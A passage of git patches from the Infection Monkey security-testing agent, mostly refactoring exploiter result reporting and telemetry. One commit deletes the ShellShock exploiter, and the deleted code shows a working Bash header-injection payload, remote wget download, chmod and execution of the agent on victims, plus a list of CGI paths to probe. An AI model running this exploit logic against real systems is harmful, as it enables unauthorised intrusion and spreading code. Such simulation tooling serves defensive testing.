b/monkey/infection_monkey/master/exploiter.py @@ -115,7 +115,7 @@ class Exploiter: credentials = self._get_credentials_for_propagation() options = {"credentials": credentials, **options} - return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop) + return self._puppet.exploit_host(exploiter_name, victim_host, options, stop) def _get_credentials_for_propagation(self) -> Mapping: try: diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 453265f55..8a7f5935d 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -134,8 +134,9 @@ class MockPuppet(IPuppet): return empty_fingerprint_data + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: logger.debug(f"exploit_hosts({name}, {host}, {options})") attempts = [ @@ -209,7 +210,7 @@ class MockPuppet(IPuppet): } try: - return successful_exploiters[host][name] + return successful_exploiters[host.ip_addr][name] except KeyError: return ExploiterResultData( False, False, os_linux, {}, [], f"{name} failed for host {host}" From 522d0d388de699d4ab2689a5d2471388db0fd3c6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:38:33 +0100 Subject: [PATCH 0503/1110] Agent: Modify SSH exploiter to return ExploiterResultData --- .../infection_monkey/exploit/HostExploiter.py | 20 +++++ monkey/infection_monkey/exploit/sshexec.py | 75 ++++++++++++++----- 2 files changed, 75 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 017451188..ad458a480 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -6,6 +6,7 @@ from typing import Dict from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -42,6 +43,7 @@ class HostExploiter: self.host = None self.telemetry_messenger = None self.options = {} + self.exploit_result = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -93,6 +95,14 @@ class HostExploiter: return result def pre_exploit(self): + self.exploit_result = { + "exploitation_success": False, + "propagation_success": False, + "os": self.host.os.get("type"), + "info": self.exploit_info, + "attempts": self.exploit_attempts, + "error_message": "", + } self.set_start_time() def post_exploit(self): @@ -115,3 +125,13 @@ class HostExploiter: """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) + + def get_exploit_result_data(self) -> ExploiterResultData: + return ExploiterResultData( + self.exploit_result["exploitation_success"], + self.exploit_result["propagation_success"], + self.exploit_result["os"], + self.exploit_result["info"], + self.exploit_result["attempts"], + self.exploit_result["error_message"], + ) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 63f4c7bd9..5b014af7e 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -10,6 +10,7 @@ from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter): continue raise FailedExploitationError - def _exploit_host(self): - + def _exploit_host(self) -> ExploiterResultData: port = SSH_PORT + # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): @@ -110,17 +111,25 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - logger.info("SSH port is closed on %r, skipping", self.host) - return False + self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping" + + logger.info(self.exploit_result["error_message"]) + return self.get_exploit_result_data() try: ssh = self.exploit_with_ssh_keys(port) + self.exploit_result["exploitation_success"] = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) + self.exploit_result["exploitation_success"] = True except FailedExploitationError: - logger.debug("Exploiter SSHExploiter is giving up...") - return False + self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..." + self.exploit_result["exploitation_success"] = False + self.exploit_result["propagation_success"] = False + + logger.debug(self.exploit_result["error_message"]) + return self.get_exploit_result_data() if not self.host.os.get("type"): try: @@ -128,12 +137,21 @@ class SSHExploiter(HostExploiter): uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" + self.exploit_result["os"] = "linux" else: - logger.info("SSH Skipping unknown os: %s", uname_os) - return False + self.exploit_result["error_message"] = f"SSH Skipping unknown os: {uname_os}" + + if not uname_os: + logger.error(self.exploit_result["error_message"]) + return self.get_exploit_result_data() except Exception as exc: - logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error running uname os command on victim {self.host}: ({exc})" + + logger.debug(self.exploit_result["error_message"]) + return self.get_exploit_result_data() if not self.host.os.get("machine"): try: @@ -142,15 +160,21 @@ class SSHExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: - logger.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc - ) + self.exploit_result[ + "error_message" + ] = f"Error running uname machine command on victim {self.host}: ({exc})" + logger.error(self.exploit_result["error_message"]) src_path = get_target_monkey(self.host) if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Can't find suitable monkey executable for host {self.host}" + + logger.info(self.exploit_result["error_message"]) + return self.get_exploit_result_data() try: ftp = ssh.open_sftp() @@ -174,7 +198,11 @@ class SSHExploiter(HostExploiter): ) ftp.close() except Exception as exc: - logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error uploading file into victim {self.host}: ({exc})" + logger.error(self.exploit_result["error_message"]) status = ScanStatus.SCANNED self.telemetry_messenger.send_telemetry( @@ -183,7 +211,7 @@ class SSHExploiter(HostExploiter): ) ) if status == ScanStatus.SCANNED: - return False + return self.get_exploit_result_data() try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) @@ -198,10 +226,17 @@ class SSHExploiter(HostExploiter): cmdline, ) + self.exploit_result["propagation_success"] = True + ssh.close() self.add_executed_cmd(cmdline) - return True + return self.get_exploit_result_data() except Exception as exc: - logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error running monkey on victim {self.host}: ({exc})" + + logger.error(self.exploit_result["error_message"]) + return self.get_exploit_result_data() From 4dfe0cf7dbfff67df791535b3ef35e1991b60ad6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:42:06 +0100 Subject: [PATCH 0504/1110] Agent: Remove monkey import from exploit_telem --- monkey/infection_monkey/telemetry/exploit_telem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 5c131dc77..c276e1b8f 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -3,7 +3,7 @@ from typing import Dict from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem -from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData +from infection_monkey.i_puppet.i_puppet import ExploiterResultData class ExploitTelem(BaseTelem): From a0b5ac2330122a426f8e4037117b90d3b1c9b0ea Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:56:40 +0100 Subject: [PATCH 0505/1110] Agent: Fix monkey exploitation reporting --- .../reporting/exploitations/monkey_exploitation.py | 2 +- .../monkey_island/cc/services/reporting/test_report.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py index f06d23274..17825e0cf 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py @@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]: [ ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name for exploit in node["exploits"] - if exploit["result"] + if exploit["exploitation_result"] ] ) ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index 851ae9a99..efc59f5ae 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -94,7 +94,7 @@ NODE_DICT = { "dead": True, "exploits": [ { - "result": True, + "exploitation_result": True, "exploiter": "DrupalExploiter", "info": { "display_name": "Drupal Server", @@ -109,7 +109,7 @@ NODE_DICT = { "origin": "MonkeyIsland : 192.168.56.1", }, { - "result": True, + "exploitation_result": True, "exploiter": "ElasticGroovyExploiter", "info": { "display_name": "Elastic search", @@ -130,8 +130,8 @@ NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False -NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False @pytest.fixture From 03178b6011a435a2130b6cff58e124ceab721c93 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 10:04:56 +0100 Subject: [PATCH 0506/1110] Island: Fix attack technique T1210 --- .../monkey_island/cc/services/attack/technique_reports/T1210.py | 2 +- .../monkey_island/cc/services/telemetry/processing/exploit.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 91eb42d8b..89f8adbc1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -61,7 +61,7 @@ class T1210(AttackTechnique): def get_exploited_services(): results = mongo.db.telemetry.aggregate( [ - {"$match": {"telem_category": "exploit", "data.result": True}}, + {"$match": {"telem_category": "exploit", "data.exploitation_result": True}}, { "$group": { "_id": {"ip_addr": "$data.machine.ip_addr"}, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 6cd4bc4ae..c63672127 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json): check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), - exploit_successful=telemetry_json["data"]["exploitation_success"], + exploit_successful=telemetry_json["data"]["exploitation_result"], exploiter=telemetry_json["data"]["exploiter"], target_ip=telemetry_json["data"]["machine"]["ip_addr"], timestamp=telemetry_json["timestamp"], From 6cdb86aa4b81b3c24801880d0070d727c1b69c3d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:10:53 +0530 Subject: [PATCH 0507/1110] Agent: Add TODO comment for VictimHost type hint to HostExploiter.py --- monkey/infection_monkey/exploit/HostExploiter.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index ad458a480..9c8ddd4d4 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -77,6 +77,7 @@ class HostExploiter: } ) + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): self.host = host self.telemetry_messenger = telemetry_messenger From 4ecc5283e5ec2ee388449a3b79153e5494337bbf Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:11:53 +0530 Subject: [PATCH 0508/1110] Agent: Rename function for returning ExploiterResultData --- monkey/infection_monkey/exploit/HostExploiter.py | 2 +- monkey/infection_monkey/exploit/sshexec.py | 16 ++++++++-------- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 9c8ddd4d4..46e43c87a 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -127,7 +127,7 @@ class HostExploiter: powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - def get_exploit_result_data(self) -> ExploiterResultData: + def return_exploit_result_data(self) -> ExploiterResultData: return ExploiterResultData( self.exploit_result["exploitation_success"], self.exploit_result["propagation_success"], diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 5b014af7e..95be5af80 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -114,7 +114,7 @@ class SSHExploiter(HostExploiter): self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping" logger.info(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() try: ssh = self.exploit_with_ssh_keys(port) @@ -129,7 +129,7 @@ class SSHExploiter(HostExploiter): self.exploit_result["propagation_success"] = False logger.debug(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() if not self.host.os.get("type"): try: @@ -143,7 +143,7 @@ class SSHExploiter(HostExploiter): if not uname_os: logger.error(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() except Exception as exc: self.exploit_result["propagation_success"] = False self.exploit_result[ @@ -151,7 +151,7 @@ class SSHExploiter(HostExploiter): ] = f"Error running uname os command on victim {self.host}: ({exc})" logger.debug(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() if not self.host.os.get("machine"): try: @@ -174,7 +174,7 @@ class SSHExploiter(HostExploiter): ] = f"Can't find suitable monkey executable for host {self.host}" logger.info(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() try: ftp = ssh.open_sftp() @@ -211,7 +211,7 @@ class SSHExploiter(HostExploiter): ) ) if status == ScanStatus.SCANNED: - return self.get_exploit_result_data() + return self.return_exploit_result_data() try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) @@ -230,7 +230,7 @@ class SSHExploiter(HostExploiter): ssh.close() self.add_executed_cmd(cmdline) - return self.get_exploit_result_data() + return self.return_exploit_result_data() except Exception as exc: self.exploit_result["propagation_success"] = False @@ -239,4 +239,4 @@ class SSHExploiter(HostExploiter): ] = f"Error running monkey on victim {self.host}: ({exc})" logger.error(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() From 58703f9b5b2698ea04268c784eb5e27328ae1411 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:38:48 +0530 Subject: [PATCH 0509/1110] Agent: Remove code that set `exploit_result`'s fields to the default value in SSH exploiter --- monkey/infection_monkey/exploit/sshexec.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 95be5af80..3fcf4605f 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -125,9 +125,6 @@ class SSHExploiter(HostExploiter): self.exploit_result["exploitation_success"] = True except FailedExploitationError: self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..." - self.exploit_result["exploitation_success"] = False - self.exploit_result["propagation_success"] = False - logger.debug(self.exploit_result["error_message"]) return self.return_exploit_result_data() @@ -145,7 +142,6 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result["error_message"]) return self.return_exploit_result_data() except Exception as exc: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Error running uname os command on victim {self.host}: ({exc})" @@ -168,7 +164,6 @@ class SSHExploiter(HostExploiter): src_path = get_target_monkey(self.host) if not src_path: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Can't find suitable monkey executable for host {self.host}" @@ -198,7 +193,6 @@ class SSHExploiter(HostExploiter): ) ftp.close() except Exception as exc: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Error uploading file into victim {self.host}: ({exc})" @@ -233,7 +227,6 @@ class SSHExploiter(HostExploiter): return self.return_exploit_result_data() except Exception as exc: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Error running monkey on victim {self.host}: ({exc})" From 2a8186928d237a21b4d696795ebbf859adb5a7a1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:42:00 +0530 Subject: [PATCH 0510/1110] Agent: Remove unused function `send_exploit_telemetry` in `HostExploiter` --- monkey/infection_monkey/exploit/HostExploiter.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 46e43c87a..7c3750b03 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -54,17 +54,6 @@ class HostExploiter: def is_os_supported(self): return self.host.os.get("type") in self._TARGET_OS_TYPE - def send_exploit_telemetry(self, name: str, result: bool): - from infection_monkey.telemetry.exploit_telem import ExploitTelem - - ExploitTelem( # stale code - name=name, - host=self.host, - result=result, - info=self.exploit_info, - attempts=self.exploit_attempts, - ).send() - def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( { From 1e12a552406df91ee98d206e89be9c53751513ff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 07:38:26 -0500 Subject: [PATCH 0511/1110] UT: Use time.per_counter_ns() in test_request_cache() The time.time() function on windows does not provide adequate resolution for test_request_cache(). For comparison, the time.get_clock_info() function shows the resolution of the clock. Linux: >>> import time >>> time.get_clock_info("time") namespace( adjustable=True, implementation='clock_gettime(CLOCK_REALTIME)', monotonic=False, resolution=1e-09 ) >>> time.get_clock_info("perf_counter") namespace( adjustable=False, implementation='clock_gettime(CLOCK_MONOTONIC)', monotonic=True, resolution=1e-09 ) Windows: >>> time.get_clock_info("time") namespace( adjustable=True, implementation='GetSystemTimeAsFileTime()', monotonic=False, resolution=0.015625 ) >>> time.get_clock_info("perf_counter") namespace( adjustable=False, implementation='QueryPerformanceCounter()', monotonic=True, resolution=1e-07 ) As shown above, the "perf_counter" clock on Windows if over 5 orders of magnitude more precise than the "time" clock. This lack of precision caused the test to fail on Windows, as the entire test often ran in less than 0.015625 seconds. --- .../tests/unit_tests/infection_monkey/utils/test_decorators.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py index 30af5837a..5fe9a3881 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_decorators.py @@ -58,7 +58,7 @@ def mock_timer(monkeypatch): def test_request_cache(mock_timer): - mock_request = MagicMock(side_effect=lambda: time.time()) + mock_request = MagicMock(side_effect=lambda: time.perf_counter_ns()) @request_cache(10) def make_request(): From 64b900b94d22e275df5cdec8ad3ec0904e44b343 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 13:26:25 +0100 Subject: [PATCH 0512/1110] Agent: Remove ShellShock exploiter --- monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/shellshock.py | 269 ------------ .../exploit/shellshock_resources.py | 408 ------------------ 3 files changed, 678 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/shellshock.py delete mode 100644 monkey/infection_monkey/exploit/shellshock_resources.py diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index a0bf5f414..efb9a4350 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -27,7 +27,6 @@ "SSHExploiter", "SmbExploiter", "WmiExploiter", - "ShellShockExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py deleted file mode 100644 index f76739e1d..000000000 --- a/monkey/infection_monkey/exploit/shellshock.py +++ /dev/null @@ -1,269 +0,0 @@ -# Implementation is based on shellshock script provided -# https://github.com/nccgroup/shocker/blob/master/shocker.py - -import logging -import string -from random import SystemRandom - -import requests - -from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import DROPPER_ARG -from infection_monkey.telemetry.attack.t1222_telem import T1222Telem -from infection_monkey.utils.commands import build_monkey_commandline - -logger = logging.getLogger(__name__) -TIMEOUT = 2 -TEST_COMMAND = "/bin/uname -a" -DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder -LOCK_HELPER_FILE = "/tmp/monkey_shellshock" - - -class ShellShockExploiter(HostExploiter): - _attacks = {"Content-type": "() { :;}; echo; "} - - _TARGET_OS_TYPE = ["linux"] - _EXPLOITED_SERVICE = "Bash" - - def __init__(self, host): - super(ShellShockExploiter, self).__init__(host) - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] - safe_random = SystemRandom() - self.success_flag = "".join( - safe_random.choice(string.ascii_uppercase + string.digits) for _ in range(20) - ) - - def _exploit_host(self): - # start by picking ports - candidate_services = { - service: self.host.services[service] - for service in self.host.services - if ("name" in self.host.services[service]) - and (self.host.services[service]["name"] == "http") - } - - valid_ports = [ - (port, candidate_services["tcp-" + str(port)]["data"][1]) - for port in self.HTTP - if "tcp-" + str(port) in candidate_services - ] - http_ports = [port[0] for port in valid_ports if not port[1]] - https_ports = [port[0] for port in valid_ports if port[1]] - - logger.info( - "Scanning %s, ports [%s] for vulnerable CGI pages" - % (self.host, ",".join([str(port[0]) for port in valid_ports])) - ) - - attackable_urls = [] - # now for each port we want to check the entire URL list - for port in http_ports: - urls = self.check_urls(self.host.ip_addr, port) - attackable_urls.extend(urls) - for port in https_ports: - urls = self.check_urls(self.host.ip_addr, port, is_https=True) - attackable_urls.extend(urls) - # now for each URl we want to try and see if it's attackable - exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls] - exploitable_urls = [url for url in exploitable_urls if url[0] is True] - - # we want to report all vulnerable URLs even if we didn't succeed - self.exploit_info["vulnerable_urls"] = [url[1] for url in exploitable_urls] - - # now try URLs until we install something on victim - for _, url, header, exploit in exploitable_urls: - logger.info("Trying to attack host %s with %s URL" % (self.host, url)) - # same attack script as sshexec - # for any failure, quit and don't try other URLs - if not self.host.os.get("type"): - try: - uname_os_attack = exploit + "/bin/uname -o" - uname_os = self.attack_page(url, header, uname_os_attack) - if "linux" in uname_os: - self.host.os["type"] = "linux" - else: - logger.info("SSH Skipping unknown os: %s", uname_os) - return False - except Exception as exc: - logger.debug( - "Error running uname os command on victim %r: (%s)", self.host, exc - ) - return False - if not self.host.os.get("machine"): - try: - uname_machine_attack = exploit + "/bin/uname -m" - uname_machine = self.attack_page(url, header, uname_machine_attack) - if "" != uname_machine: - self.host.os["machine"] = uname_machine.lower().strip() - except Exception as exc: - logger.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc - ) - return False - - # copy the monkey - dropper_target_path_linux = self._config.dropper_target_path_linux - - src_path = get_target_monkey(self.host) - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - if not self._create_lock_file(exploit, url, header): - logger.info("Another monkey is running shellshock exploit") - return True - - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - - if not http_path: - logger.debug("Exploiter ShellShock failed, http transfer creation failed.") - return False - - download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux) - - download = exploit + download_command - self.attack_page( - url, header, download - ) # we ignore failures here since it might take more than TIMEOUT time - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - self._remove_lock_file(exploit, url, header) - - if (http_thread.downloads != 1) or ( - "ELF" - not in self.check_remote_file_exists( - url, header, exploit, dropper_target_path_linux - ) - ): - logger.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) - continue - - # turn the monkey into an executable - chmod = "/bin/chmod +x %s" % dropper_target_path_linux - run_path = exploit + chmod - self.attack_page(url, header, run_path) - T1222Telem(ScanStatus.USED, chmod, self.host).send() - - # run the monkey - cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - dropper_target_path_linux, - ) - cmdline += " & " - run_path = exploit + cmdline - self.attack_page(url, header, run_path) - - logger.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - cmdline, - ) - - if not ( - self.check_remote_file_exists( - url, header, exploit, self._config.monkey_log_path_linux - ) - ): - logger.info("Log file does not exist, monkey might not have run") - continue - self.add_executed_cmd(cmdline) - return True - - return False - - @classmethod - def check_remote_file_exists(cls, url, header, exploit, file_path): - """ - Checks if a remote file exists and returns the content if so - file_path should be fully qualified - """ - cmdline = "/usr/bin/head -c 4 %s" % file_path - run_path = exploit + cmdline - resp = cls.attack_page(url, header, run_path) - if resp: - logger.info("File %s exists on remote host" % file_path) - return resp - - def attempt_exploit(self, url, attacks=None): - # Flag used to identify whether the exploit has successfully caused the - # server to return a useful response - - if not attacks: - attacks = self._attacks - - logger.debug("Attack Flag is: %s" % self.success_flag) - - logger.debug("Trying exploit for %s" % url) - for header, exploit in list(attacks.items()): - attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND - result = self.attack_page(url, header, attack) - if self.success_flag in result: - logger.info("URL %s looks vulnerable" % url) - return True, url, header, exploit - else: - logger.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) - return (False,) - - def _create_lock_file(self, exploit, url, header): - if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): - return False - cmd = exploit + "echo AAAA > %s" % LOCK_HELPER_FILE - self.attack_page(url, header, cmd) - return True - - def _remove_lock_file(self, exploit, url, header): - cmd = exploit + "rm %s" % LOCK_HELPER_FILE - self.attack_page(url, header, cmd) - - @staticmethod - def attack_page(url, header, attack): - result = "" - try: - logger.debug("Header is: %s" % header) - logger.debug("Attack is: %s" % attack) - r = requests.get( # noqa: DUO123 - url, headers={header: attack}, verify=False, timeout=TIMEOUT - ) - result = r.content.decode() - return result - except requests.exceptions.RequestException as exc: - logger.debug("Failed to run, exception %s" % exc) - return result - - @staticmethod - def check_urls(host, port, is_https=False, url_list=CGI_FILES): - """ - Checks if which urls exist - :return: Sequence of URLs to try and attack - """ - attack_path = "http://" - if is_https: - attack_path = "https://" - attack_path = attack_path + str(host) + ":" + str(port) - reqs = [] - timeout = False - attack_urls = [attack_path + url for url in url_list] - for u in attack_urls: - try: - reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) # noqa: DUO123 - except requests.Timeout: - timeout = True - break - if timeout: - logger.debug( - "Some connections timed out while sending request to potentially vulnerable " - "urls." - ) - valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] - urls = [resp.url for resp in valid_resps] - - return urls diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py deleted file mode 100644 index 3a128b23e..000000000 --- a/monkey/infection_monkey/exploit/shellshock_resources.py +++ /dev/null @@ -1,408 +0,0 @@ -# resource for shellshock attack -# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list - -CGI_FILES = ( - r"/", - r"/admin.cgi", - r"/administrator.cgi", - r"/agora.cgi", - r"/aktivate/cgi-bin/catgy.cgi", - r"/analyse.cgi", - r"/apps/web/vs_diag.cgi", - r"/axis-cgi/buffer/command.cgi", - r"/b2-include/b2edit.showposts.php", - r"/bandwidth/index.cgi", - r"/bigconf.cgi", - r"/cartcart.cgi", - r"/cart.cgi", - r"/ccbill/whereami.cgi", - r"/cgi-bin/14all-1.1.cgi", - 